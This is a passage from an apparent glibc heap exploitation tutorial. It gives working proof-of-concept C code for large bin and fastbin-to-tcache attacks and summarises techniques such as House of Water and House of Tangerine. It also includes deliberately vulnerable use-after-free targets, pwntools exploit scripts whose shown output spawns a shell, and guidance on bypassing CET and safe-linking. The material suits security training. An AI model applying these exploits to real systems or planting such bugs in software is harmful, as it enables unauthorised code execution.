size_t *p2 = malloc(0x418); // Smaller (will be inserted)
malloc(0x18); // Guard
printf("p1 (larger): %p\n", p1-2);
printf("p2 (smaller): %p\n\n", p2-2);
// Free p1 -> unsorted bin
free(p1);
// Allocate larger to move p1 into large bin
malloc(0x438);
// Free p2 -> unsorted bin
free(p2);
printf("State: p1 in largebin, p2 in unsorted bin\n\n");
// VULNERABILITY: Corrupt p1->bk_nextsize
// Glibc doesn't check bk_nextsize if new chunk is smallest
p1[3] = (size_t)((&target)-4);
printf("Corrupted p1->bk_nextsize to target-0x20\n");
// Trigger: allocate larger than p2 to insert p2 into large bin
malloc(0x438);
// Upon insertion: victim->bk_nextsize->fd_nextsize = victim
// This writes &p2 to target!
printf("\nTarget now contains: %p (p2-0x10 = %p)\n",
(void*)target, p2-2);
assert((size_t)(p2-2) == target);
printf("SUCCESS: Large bin attack wrote heap pointer to target!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro large_bin_attack.c -o large_bin_attack
./large_bin_attack
Test Results:
Target at 0x7ffc62e176c0: 0
p1 (larger): 0x1153c290
p2 (smaller): 0x1153c6e0
State: p1 in largebin, p2 in unsorted bin
Corrupted p1->bk_nextsize to target-0x20
Target now contains: 0x1153c6e0 (p2-0x10 = 0x1153c6e0)
SUCCESS: Large bin attack wrote heap pointer to target!
Attack Success:
- Target at
0x7ffc62e176c0initially contains0 - Large chunks:
p1at0x1153c290,p2at0x1153c6e0 - After setup:
p1in largebin,p2in unsorted bin - Corrupted
p1->bk_nextsizeto point attarget-0x20 - Arbitrary write achieved: target now contains heap pointer
0x1153c6e0
Why This Works:
- Large Bin Insertion: When
p2inserted into large bin, glibc writes tobk_nextsize->fd_nextsize - Weak Validation: glibc doesn't validate
bk_nextsizeif new chunk is smallest - Arbitrary Write: Corrupted pointer causes write to any address
- Heap Pointer: Writes heap address (useful for bypassing ASLR)
Fastbin Reverse Into Tcache (glibc 2.41)
Similar to unsorted_bin_attack but works with small allocations. When tcache is empty and fastbin has entries, malloc refills tcache from fastbin in reverse order, writing heap pointers to stack.
// ~/exploit/fastbin_reverse_into_tcache.c
// Arbitrary heap pointer write via fastbin->tcache refill
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
// Allocate 14 chunks for later
char* ptrs[14];
for (size_t i = 0; i < 14; i++)
ptrs[i] = malloc(allocsize);
// Fill tcache (7 chunks)
for (size_t i = 0; i < 7; i++)
free(ptrs[i]);
// Next free goes to fastbin (tcache full)
char* victim = ptrs[7];
printf("Victim chunk: %p\n", victim);
free(victim);
// Free 6 more to fastbin
for (size_t i = 8; i < 14; i++)
free(ptrs[i]);
// Target on stack
size_t stack_var[6];
memset(stack_var, 0xcd, sizeof(stack_var));
printf("Stack target: %p (value: %p)\n", &stack_var[2], (void*)stack_var[2]);
// VULNERABILITY: Corrupt victim's fd pointer (safe-linking bypass required)
*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
// Empty tcache
for (size_t i = 0; i < 7; i++)
ptrs[i] = malloc(allocsize);
printf("\nBefore trigger - stack contents:\n");
for (size_t i = 0; i < 6; i++)
printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);
// TRIGGER: malloc from fastbin causes reverse refill into tcache
// 7 fastbin chunks copied to tcache, stack addr ends up as tcache entry
malloc(allocsize);
printf("\nAfter trigger - heap pointer written to stack!\n");
for (size_t i = 0; i < 6; i++)
printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);
// Next malloc returns stack address!
char *q = malloc(allocsize);
printf("\nGot stack allocation: %p\n", q);
assert(q == (char *)&stack_var[2]);
printf("SUCCESS: Fastbin reverse into tcache!\n");
return 0;
}
Build and Run:
cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_reverse_into_tcache.c -o fastbin_reverse_into_tcache
./fastbin_reverse_into_tcache
Test Results:
Victim chunk: 0x29d2a4d0
Stack target: 0x7ffd808c11c0 (value: 0xcdcdcdcdcdcdcdcd)
Before trigger - stack contents:
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd
After trigger - heap pointer written to stack!
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0x7d60aac11
0x7ffd808c11c8: 0x685b97d2a6aa5329
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd
Got stack allocation: 0x7ffd808c11c0
SUCCESS: Fastbin reverse into tcache!
Attack Success:
- Victim chunk at
0x29d2a4d0, stack target at0x7ffd808c11c0 - Before: stack filled with
0xcdcdcdcdcdcdcdcdpattern - After trigger: heap pointers written to stack at
0x7ffd808c11c0and0x7ffd808c11c8 - Arbitrary allocation achieved:
malloc(allocsize)returned stack address!
Why This Works:
- Fastbin→Tcache Refill: When tcache empty, malloc refills from fastbin in reverse
- Reverse Order: Fastbin entries processed backwards, writing to stack
- Heap Pointer Write: Victim chunk address written to stack during refill
- Arbitrary Allocation: Stack address now in tcache, next malloc returns it
House of Water (glibc 2.32+)
Leakless heap exploitation technique by @udp_ctf.
[!IMPORTANT] Key insight: The
tcache_perthread_structmetadata on the heap is NOT protected by safe-linking! This allows manipulation without needing a heap leak first.
House of Water - Leakless tcache metadata control:
1. Create fake 0x10001 header via tcache counts manipulation
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
5. Use the libc pointer leak to complete exploitation
Key Features:
- Leakless (forces program to provide leak during exploitation)
- Requires 4-bit bruteforce × 2 = 1/256 success rate per attempt
- Targets tcache_perthread_struct which lacks safe-linking protection
Requirements:
- Double-free, UAF, or heap overflow
- Precise heap layout control
- Ability to choose where to write within a chunk
Why tcache metadata is vulnerable:
// tcache_perthread_struct is at heap start (after initial malloc)
struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS]; // NOT protected by safe-linking!
tcache_entry *entries[TCACHE_MAX_BINS]; // These ARE protected
};
// Corrupting counts can create fake chunk headers!
House of Tangerine (glibc 2.32+)
Modern House of Orange that doesn't need free()!
House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation
Use when:
- No free() primitive available
- Have heap overflow to corrupt top chunk
- Need heap and address leaks for safe-linking bypass
Safe-Linking Double-Protect Bypass (Blind - Hard)
Bypass safe-linking without a heap leak (4-bit bruteforce):
/* Key insight: (ptr ^ key) ^ key = ptr
* By linking a pointer twice, safe-linking cancels itself out!
* Technique by @udp_ctf - requires tcache metadata control (House of Water)
*
* Steps:
* 1. Get control of tcache metadata (via House of Water or overflow)
* 2. Link target address twice in tcache chain
* 3. Second link cancels XOR of first link
* 4. Only need to bruteforce 4 bits of ASLR
*/
House of XXX Techniques (Overview)
| Technique | Target | glibc Version | Notes |
|---|---|---|---|
| Tcache House of Spirit | Fake chunk in tcache | 2.27-2.41 | No next chunk validation! |
| Tcache Metadata Poison | Direct tcache metadata | 2.27-2.41 | Metadata NOT safe-link protected! |
| House of Spirit (Fastbin) | Fake chunk in fastbin | 2.23-2.41 | Need heap leak for 2.32+ |
| House of Lore | Small bin corruption | 2.23-2.41 | Still works |
| House of Botcake | Tcache + unsorted bin | 2.29-2.41 | Most practical double-free |
| House of Tangerine | sysmalloc _int_free | 2.27-2.41 | No free() needed! |
| House of Einherjar | Backward consolidation | 2.23-2.41 | Needs null byte write |
| House of Water | UAF → tcache metadata ctrl | 2.32-2.41 | Leakless! 1/256 bruteforce |
| House of Gods | Arena hijacking | 2.23-2.26 | Pre-tcache arena corruption |
| House of Mind (Fastbin) | Arena corruption | 2.23-2.41 | Complex arena manipulation |
| House of Force | Top chunk size overwrite | 2.23-2.28 | Patched in 2.29 |
| House of Orange | Unsorted bin + FSOP | 2.23-2.26 | Patched in 2.27 |
glibc Version Eras:
| Era | glibc Versions | Key Features |
|---|---|---|
| Pre-Tcache | 2.23-2.25 | Classic heap, hooks available, no tcache |
| Tcache Era | 2.26-2.31 | Tcache introduced, hooks still work |
| Safe-Linking Era | 2.32-2.33 | Pointer XOR mangling, alignment checks |
| Post-Hooks Era | 2.34+ | __malloc_hook/__free_hook REMOVED |
| Modern Era | 2.38+ | FSOP hardened, enhanced checks |
Learning Path (Recommended Order):
1. Start Easy:
└── Tcache House of Spirit → Tcache Metadata Poisoning
2. Progress to Medium:
└── House of Botcake → House of Tangerine
3. Attempt Hard (after mastering Medium):
└── House of Einherjar → House of Water (leakless!)
Modern Techniques (glibc 2.32+):
House of Botcake - Double-free bypass using tcache + unsorted bin:
1. Fill tcache (7 chunks)
2. Free chunk A into unsorted bin
3. Free chunk B into unsorted bin (consolidates with A)
4. Empty tcache
5. Free chunk B again (goes to tcache, but overlaps with unsorted chunk!)
6. Allocate from unsorted → gives overlapping chunk
7. Overwrite tcache next pointer → arbitrary allocation
House of Water - UAF to tcache metadata control:
1. Create fake 0x10001 header via tcache counts
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation
When to Use Which:
Decision tree for modern heap technique selection:
Do you have a heap leak? (Required for glibc 2.32+)
├── No: Need leak first (info disclosure bug)
└── Yes: Continue...
Do you have a heap overflow?
├── Yes: House of Einherjar, tcache poisoning, House of Tangerine
└── No: Do you have UAF?
├── Yes: House of Botcake (double-free), House of Water (metadata)
└── No: Do you have arbitrary free?
├── Yes: House of Spirit (tcache)
└── No: Do you have OOB read/write only?
├── Yes: House of Tangerine (no free needed!)
└── No: Need to find more bugs
Modern Heap Protections (glibc 2.41)
| Protection | glibc Version | Mitigation | Bypass |
|---|---|---|---|
| Tcache double-free key | 2.29+ | Key in freed chunk | House of Botcake, leak key |
| Safe-linking | 2.32+ | XOR pointer mangling | Heap leak, or double-protect |
| Pointer alignment check | 2.32+ | 16-byte alignment required | Craft aligned fake chunk |
| Fastbin fd validation | 2.32+ | Check fd points to valid | Need heap leak |
| Top chunk size check | 2.29+ | Validate top chunk size | House of Tangerine |
| Unsorted bin checks | 2.29+ | bk->fd == victim check | House of Botcake |
| fd pointer validation | 2.32+ | Check fd in expected range | Target must be in heap range |
Recent Vulnerability: Integer overflow in memalign family (glibc 2.30-2.42):
- Affects
memalign,posix_memalign,aligned_alloc - Attacker-controlled size + alignment → heap corruption
- Patched in glibc 2.39-286, 2.40-216, 2.41-121, 2.42-49
Checking Protections:
# Check glibc version
ldd --version
# Check specific binary's libc
ldd ./target | grep libc
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"
# Check exact version for patch level
apt-cache policy libc6 2>/dev/null || rpm -q glibc
From Arbitrary Write to Code Execution
Once you have an arbitrary write/allocation primitive from heap exploitation, here's how to achieve code execution on modern systems:
Target Selection (Modern glibc 2.34+):
| Target | RELRO Required | CET Impact | Notes |
|---|---|---|---|
GOT entry (e.g., exit) | Partial | Bypasses! | Best target if available |
| Function pointer in struct | Any | Bypasses! | Common in heap exploits |
__free_hook | Any | N/A | REMOVED in glibc 2.34+ |
__malloc_hook | Any | N/A | REMOVED in glibc 2.34+ |
_IO_list_all (FSOP) | Any | Complex | Hardened in glibc 2.38+ |
| Return address on stack | Any | Blocked | CET shadow stack prevents |
Best Targets on Modern Systems:
-
GOT Overwrite (Partial RELRO only):
# Overwrite exit@GOT with one_gadget target = elf.got['exit'] one_gadget = libc.address + 0xef52b # Set RBP? Not needed for GOT overwrites! # The call goes through PLT which is a legitimate indirect call arbitrary_write(target, one_gadget) -
Function Pointer in Heap Object:
# UAF to overwrite callback pointer with win function # Works even with CET - it's a direct call, not ROP arbitrary_write(obj_addr + 32, elf.symbols['admin_function']) -
Stack Pivot + ROP (if GOT/funptr unavailable):
# Write to stack via heap technique, then ROP # Need RBP fix for one_gadget! payload = p64(pop_rbp) + p64(writable + 0x80) + p64(one_gadget)
Why CET Doesn't Block Heap Exploits:
CET (Control-flow Enforcement Technology) blocks:
- ROP chains via corrupted return addresses
- ret2libc via stack buffer overflow
CET does NOT block:
+ GOT overwrites (PLT is legitimate indirect call target)
+ Function pointer overwrites (direct call through pointer)
+ FSOP / file structure attacks
+ one_gadget (internal libc code paths satisfy CET)
This is why heap exploitation remains powerful on modern systems!
Complete Heap-to-Shell Example (Modern glibc):
This complete example demonstrates UAF exploitation with function pointer overwrite - the most reliable technique on modern systems with CET.
Target Program (heap_shell_target.c):
// ~/exploit/heap_shell_target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char data[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *note = NULL;
void normal_func(void) { printf("Normal function called\n"); }
void win_func(void) { printf("WIN! Spawning shell...\n"); system("/bin/sh"); }
void menu(void) {
printf("\n1. alloc 2. free 3. write 4. call 5. exit\n> ");
fflush(stdout);
}
int main(void) {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
menu();
if (read(0, cmd, sizeof(cmd)) <= 0) break;
if (cmd[0] == '1') { // alloc
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("Object @ %p\n", obj);
}
else if (cmd[0] == '2') { // free
if (obj) {
free(obj);
// BUG: dangling pointer!
printf("Freed (but pointer kept)\n");
}
}
else if (cmd[0] == '3') { // write - reclaims freed chunk
note = malloc(sizeof(Object));
printf("data: ");
fflush(stdout);
read(0, note, sizeof(Object));
printf("Note @ %p\n", note);
}
else if (cmd[0] == '4') { // call - UAF trigger
if (obj) {
printf("Calling callback...\n");
obj->callback();
}
}
else if (cmd[0] == '5') break;
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=heap_shell_target.c BINARY=heap_shell_target
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none \
# heap_shell_target.c -o heap_shell_target
Exploit (exploit_heap_shell.py):
#!/usr/bin/env python3
# ~/exploit/exploit_heap_shell.py
"""
Complete UAF-to-shell exploit for modern glibc
Technique: Function pointer overwrite (bypasses CET!)
"""
from pwn import *
binary = './heap_shell_target'
elf = ELF(binary)
context.binary = elf
def alloc(p):
p.sendlineafter(b'> ', b'1')
def free_obj(p):
p.sendlineafter(b'> ', b'2')
def write_note(p, data):
p.sendlineafter(b'> ', b'3')
p.sendafter(b'data: ', data)
def call_obj(p):
p.sendlineafter(b'> ', b'4')
def exploit():
p = process(binary)
# Get win function address
win = elf.symbols['win_func']
log.info(f"win_func @ {hex(win)}")
# Step 1: Allocate object with function pointer
alloc(p)
# Step 2: Free it (creates dangling pointer)
free_obj(p)
# Step 3: Reclaim with controlled data
# Object layout: char data[32] + void (*callback)(void)
payload = b'A' * 32 # Fill data field
payload += p64(win) # Overwrite callback with win_func
write_note(p, payload)
# Step 4: Use dangling pointer - calls our win_func!
call_obj(p)
# Got shell!
p.interactive()
if __name__ == '__main__':
exploit()
Run:
cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap_shell.py
Test Results:
[+] Starting local process './heap_shell_target': pid 2433
[*] win_func @ 0x4011ac
[*] Switching to interactive mode
Calling callback...
WIN! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './heap_shell_target' (pid 2433)
Exploit Success:
win_funclocated at static address0x4011ac(No PIE)- UAF exploit successfully overwrote function pointer
- Shell spawned:
WIN! Spawning shell...message confirms success - Interactive shell obtained with user privileges
- CET Bypassed: Function pointer call works even with modern CET protection
Why This Works on Modern Systems:
This exploit bypasses modern mitigations:
- NX/DEP: No shellcode needed, we call existing function
- ASLR: No-PIE binary, addresses are fixed
- Stack Canary: No stack overflow, heap corruption only
- CET/IBT: Function pointer call is LEGITIMATE indirect call!
(CET only blocks ROP, not direct function pointer calls)
- Safe-linking: N/A (tcache not used, just UAF spray pattern)
Key insight: CET validates that indirect calls go to valid function
entries (ENDBR64 instructions), but win_func IS a valid function!
Generic Heap-to-Shell Pattern (when you have arbitrary write):
# Once you have arbitrary write primitive from heap corruption:
# Option A: GOT overwrite (Partial RELRO only)
if elf.relro != 'Full':
arbitrary_write(elf.got['exit'], win_addr) # or one_gadget
# Trigger by calling exit()
# Option B: Function pointer overwrite (always works, even with CET!)
else:
# Overwrite callback in struct with win/one_gadget
arbitrary_write(obj_addr + func_ptr_offset, win_addr)
# Trigger by using the object
# Option C: __libc_start_main return address (complex, needs stack addr)
# Option D: TLS/DTV attack (glibc internals, advanced)
Introduction to FSOP (File Stream Oriented Programming)
With the removal of __malloc_hook and __free_hook in glibc 2.34+, FSOP is the primary method for turning heap primitives into code execution when GOT is not writable (Full RELRO).
The Concept:
glibc uses _IO_FILE structures (like stdin, stdout, stderr) to manage streams. These structures contain a vtable pointer (_IO_file_jumps) that points to a table of function pointers for I/O operations.
_IO_FILE Structure (simplified):
┌────────────────────────────┐
│ _flags │ ← Controls behavior
├────────────────────────────┤
│ _IO_read_ptr │
│ _IO_read_end │
│ _IO_read_base │ ← Buffer pointers
│ _IO_write_base │
│ _IO_write_ptr │
│ _IO_write_end │
├────────────────────────────┤
│ ... │
├────────────────────────────┤
│ _chain │ ← Links to next FILE (linked list)
├────────────────────────────┤
│ _fileno │ ← File descriptor
├────────────────────────────┤
│ ... │
├────────────────────────────┤
│ vtable (8 bytes) │ ← Points to _IO_file_jumps
└────────────────────────────┘
_IO_file_jumps (vtable):
┌────────────────────────────┐
│ __dummy / __dummy2 │
├────────────────────────────┤
│ _IO_finish │ ← Called on fclose/exit
├────────────────────────────┤
│ _IO_overflow │ ← Called when buffer full
├────────────────────────────┤
│ _IO_underflow │
├────────────────────────────┤
│ ... │
└────────────────────────────┘
Classic FSOP Attack (glibc < 2.24):
- Corrupt a FILE struct: Overwrite
stdout,stderr, or forge a fake_IO_FILE - Set fake vtable: Point vtable to attacker-controlled memory
- Trigger: Call
exit()(flushes all streams) or any stdio function
// Pre-2.24: Direct vtable pointer overwrite
fake_file._IO_jump_t = &fake_vtable;
fake_vtable.__overflow = system;
// Set up _IO_write_ptr > _IO_write_base to trigger overflow
// Point _IO_write_base to "/bin/sh"
Modern FSOP (glibc 2.24+):
glibc 2.24 added _IO_vtable_check() which validates that vtable pointers fall within the legitimate vtable section. Direct fake vtable attacks no longer work.
Bypass via _IO_str_jumps / _IO_wfile_jumps:
The trick is to use legitimate vtables but manipulate FILE struct fields to control what gets called:
Attack Strategy (glibc 2.24-2.37):
1. Set vtable to _IO_str_jumps (legitimate, passes check)
2. Manipulate _IO_buf_base, _IO_buf_end, etc.
3. When _IO_str_overflow is called, it does:
new_buf = malloc(new_size);
memcpy(new_buf, old_buf, old_size);
(*(fp->_IO_str_jumps->_free_buffer))(old_buf) // Call with controlled arg!
4. Forge FILE so _free_buffer call becomes system("/bin/sh")
Why Classic FSOP Fails on Modern glibc (fsop_demo.c):
This demonstrates that direct vtable overwrite FAILS on glibc 2.24+ due to _IO_vtable_check():
// ~/exploit/fsop_demo.c
// Demonstrates that classic FSOP FAILS on modern glibc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win(void) {
printf("WIN! FSOP triggered!\n");
system("/bin/sh");
}
int main() {
printf("=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===\n\n");
printf("stdout @ %p\n", stdout);
printf("win @ %p\n", win);
FILE *fp = stdout;
printf("Original vtable @ %p\n", *(void**)((char*)fp + 0xd8));
// Create fake vtable
void *fake_vtable[30];
memset(fake_vtable, 0, sizeof(fake_vtable));
fake_vtable[3] = (void*)win; // __overflow -> win
// Try to overwrite vtable pointer
printf("\nOverwriting vtable with fake @ %p\n", fake_vtable);
*(void**)((char*)fp + 0xd8) = fake_vtable;
printf("Triggering fflush... (this will crash!)\n");
fflush(stdout); // CRASHES: glibc detects invalid vtable
printf("If you see this, FSOP worked (glibc < 2.24)\n");
return 0;
}
Compile and Run:
cd ~/exploit
gcc -g -O0 -no-pie -fcf-protection=none fsop_demo.c -o fsop_demo
./fsop_demo
Test Results:
=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===
stdout @ 0x776c6a6045c0
win @ 0x401176
Original vtable @ 0x776c6a602030
Overwriting vtable with fake @ 0x7ffe77115fd0
Fatal error: glibc detected an invalid stdio handle
Aborted
Classic FSOP Failure:
stdoutat0x776c6a6045c0, original vtable at0x776c6a602030(legitimate)- Fake vtable on stack at
0x7ffe77115fd0successfully written - glibc aborts:
_IO_vtable_check()detects invalid vtable outside legitimate range - Proof: Modern glibc (2.24+) blocks classic FSOP with fake vtables
Why It Fails:
glibc 2.24+ added _IO_vtable_check():
- Validates vtable pointer falls within legitimate __libc_IO_vtables section
- Fake vtables on stack/heap are OUTSIDE this range → ABORT
This is why we need:
1. Function pointer overwrite (bypasses FSOP entirely)
2. House of Apple/Water (uses legitimate vtables like _IO_wfile_jumps)
3. Techniques that don't rely on fake vtables
Exploit for fsop_target (Function Pointer Overwrite):
Since CET blocks GOT overwrite to system(), we use function pointer overwrite which calls legitimate functions.
Updated target with function pointer (fsop_target.c):
// ~/exploit/fsop_target.c
// Vulnerable program with UAF for function pointer overwrite
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct {
char data[32];
void (*callback)(void);
} Object;
Object *obj = NULL;
char *note = NULL;
void normal_func(void) { printf("Normal callback\n"); }
void win_func(void) { printf("WIN!\n"); system("/bin/sh"); }
void menu() {
printf("\n1.alloc 2.free 3.write 4.call 5.exit\n> ");
}
int main() {
char cmd[16];
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("win_func @ %p\n", win_func);
while (1) {
menu();
read(0, cmd, sizeof(cmd));
switch(cmd[0]) {
case '1': // alloc
obj = malloc(sizeof(Object));
obj->callback = normal_func;
printf("Object @ %p\n", obj);
break;
case '2': // free (UAF - keeps dangling pointer!)
if (obj) {
free(obj);
printf("Freed (dangling pointer kept!)\n");
}
break;
case '3': // write - reclaims freed chunk
note = malloc(sizeof(Object));
printf("data: ");
read(0, note, sizeof(Object));
printf("Note @ %p\n", note);
break;
case '4': // call - triggers UAF
if (obj) {
printf("Calling callback...\n");
obj->callback();
}
break;
case '5':
exit(0);
}
}
return 0;
}
Compile:
cd ~/exploit
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
Working Exploit (exploit_fsop.py):
#!/usr/bin/env python3
# ~/exploit/exploit_fsop.py
"""
UAF to function pointer overwrite - bypasses CET!
Target: fsop_target
"""
from pwn import *
context.arch = 'amd64'
binary = './fsop_target'
elf = ELF(binary)
def alloc(p):
p.sendlineafter(b'> ', b'1')
def free_obj(p):
p.sendlineafter(b'> ', b'2')
def write_note(p, data):
p.sendlineafter(b'> ', b'3')
p.sendafter(b'data: ', data)
def call_obj(p):
p.sendlineafter(b'> ', b'4')
def exploit():
p = process(binary)
# Get win function address
win = elf.symbols['win_func']
log.info(f"win_func @ {hex(win)}")
# Step 1: Allocate object with function pointer
alloc(p)
log.success("Allocated object")
# Step 2: Free it (creates dangling pointer)
free_obj(p)
log.success("Freed object (dangling pointer)")
# Step 3: Reclaim with controlled data
# Object layout: char data[32] + void (*callback)(void)
payload = b'A' * 32 # Fill data field
payload += p64(win) # Overwrite callback with win_func
write_note(p, payload)
log.success("Reclaimed chunk with payload")
# Step 4: Use dangling pointer - calls our win_func!
log.success("Triggering callback -> win_func -> shell!")
call_obj(p)
# Got shell!
p.interactive()
if __name__ == '__main__':
exploit()
Compile and Run:
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
python3 exploit_fsop.py
Test Results:
[*] '/home/dev/exploit/fsop_target'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process './fsop_target': pid 2477
[+] win_func @ 0x401230
[*] Allocated object
[*] Freed object (dangling pointer)
[*] Reclaimed chunk with payload
[+] Triggering callback -> win_func -> shell!
[*] Switching to interactive mode
Calling callback...
WIN!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fsop_target' (pid 2477)
Exploit Success - CET Bypassed!:
- Modern Protections Active: SHSTK and IBT enabled (CET protection)
- win_func at static address
0x401230(No PIE) - UAF Success: Function pointer overwritten with controlled address
- CET Bypassed: Function pointer call is legitimate indirect call, not blocked by IBT
- Shell Achieved:
WIN!message and interactive shell with user privileges
Why This Works While Classic FSOP Fails:
Function Pointer Overwrite vs Classic FSOP:
Function Pointer Overwrite (Working):
+ Direct call through object field
+ Legitimate indirect call - CET allows
+ No vtable validation needed
+ Uses existing program functions
+ Bypasses all modern mitigations
Classic FSOP (Failed):
- Fake vtable on stack/heap
- _IO_vtable_check() aborts on invalid vtable
- Requires legitimate vtable section
- Complex house of apple/water needed
- Outdated technique
Key Insight: On modern systems with CET, function pointer overwrite is superior to FSOP because it uses legitimate indirect calls that CET is designed to allow, while FSOP requires bypassing vtable validation.
Modern Exploitation Decision Tree (glibc 2.39+):
Do you have a heap primitive (UAF/overflow)?
├── Yes: Can you control a function pointer in a struct?
│ ├── Yes: Function pointer overwrite → WORKS! (bypasses CET)
│ └── No: Use House of Water/Tangerine for tcache control
│ → Allocate over struct with function pointer
│ → Overwrite with legitimate function
└── No: Need stronger primitive first
For FSOP specifically (Full RELRO targets):
├── glibc < 2.24: Direct vtable overwrite
├── glibc 2.24-2.37: _IO_str_jumps abuse
├── glibc 2.34-2.38: House of Apple/Emma (wide vtable chain)
└── glibc 2.39+ with CET: Function pointer overwrite preferred
(FSOP techniques may fail due to CET)
Technique Compatibility (Updated for CET):
| Technique | glibc Range | CET Status | Notes |
|---|---|---|---|
| Direct vtable overwrite | < 2.24 | N/A | No vtable check |
_IO_str_jumps abuse | 2.24-2.37 | N/A | Patched in 2.38 |
| House of Apple/Emma | 2.34-2.38 | Blocked | CET blocks gadget calls |
| Function pointer overwrite | All | WORKS | Calls real functions |
| House of Water | 2.32+ | WORKS | Gets tcache control |
| House of Tangerine | 2.27+ | WORKS | No free() needed |
Recommended Approach for Modern Systems:
| Scenario | Recommended Technique |
|---|---|
| CET enabled (2.39+) | Function pointer overwrite via UAF/heap corrupt |
| Full RELRO + CET | House of Water → func ptr overwrite |
| Partial RELRO no CET | GOT overwrite (simpler) |
| Need tcache control | House of Water or House of Tangerine |
Practical Exercise
Exercise: Use-After-Free Exploitation
Create the target (uaf_challenge.c):
// ~/exploit/uaf_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[32];
void (*greet)(void);
} Person;
void normal_greet() { printf("Hello!\n"); }
void admin_greet() { printf("Admin!\n"); system("/bin/sh"); }
Person *current = NULL;
void create() {
current = malloc(sizeof(Person));
strcpy(current->name, "user");
current->greet = normal_greet;
printf("Created at %p\n", current);
}
void delete_person() {
free(current);
// BUG: current not set to NULL - dangling pointer!
printf("Deleted\n");
}
void greet() {
if (current) current->greet();
}
void edit(char *data) {
// Allocates same size as Person - reclaims freed chunk!
char *buf = malloc(sizeof(Person));
memcpy(buf, data, sizeof(Person));
printf("Edit buffer at %p\n", buf);
}
int main() {
char cmd[100], data[64];
setvbuf(stdout, NULL, _IONBF, 0);
printf("Commands: create, delete, greet, edit\n");
while (fgets(cmd, sizeof(cmd), stdin)) {
if (strncmp(cmd, "create", 6) == 0) create();
else if (strncmp(cmd, "delete", 6) == 0) delete_person();
else if (strncmp(cmd, "greet", 5) == 0) greet();
else if (strncmp(cmd, "edit ", 5) == 0) {
fgets(data, sizeof(data), stdin);
edit(data);
}
}
return 0;
}
Compile:
cd ~/exploit
make disabled SOURCE=uaf_challenge.c BINARY=uaf_challenge
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none uaf_challenge.c -o uaf_challenge
Find admin_greet address:
objdump -d uaf_challenge | grep admin_greet
- Write exploit:
based on what you've learned, write the proper exploit
Exercise: Tcache House of Spirit
-
Compile how2heap tcache_house_of_spirit.c:
cd ~/tuts/how2heap make v$(ldd --version | head -1 | awk '{print $NF}') ./glibc_2.39/tcache_house_of_spirit -
Trace in GDB to understand the simple requirements:
- Only need valid size field (no next chunk validation!)
- Region must be 16-byte aligned
- Size must be in tcache range (0x20-0x410)
-
Key observation: Unlike original House of Spirit, tcache doesn't check next chunk metadata!
Exercise: Tcache Poisoning
-
Compile the tcache_poisoning.c example:
gcc -no-pie -g -fcf-protection=none tcache_poison.c -o tcache_poison # Or use how2heap: ~/tuts/how2heap/glibc_2.39/tcache_poisoning -
Trace execution in GDB:
gdb ~/tuts/how2heap/glibc_2.39/tcache_poison break main run # After each malloc/free, run: heap bins -
Observe tcache state:
- Before free: tcache empty
- After free: chunk in tcache
- After poisoning: tcache points to target
- After second malloc: arbitrary address returned
-
Modify to target a function pointer:
- Add a function pointer variable
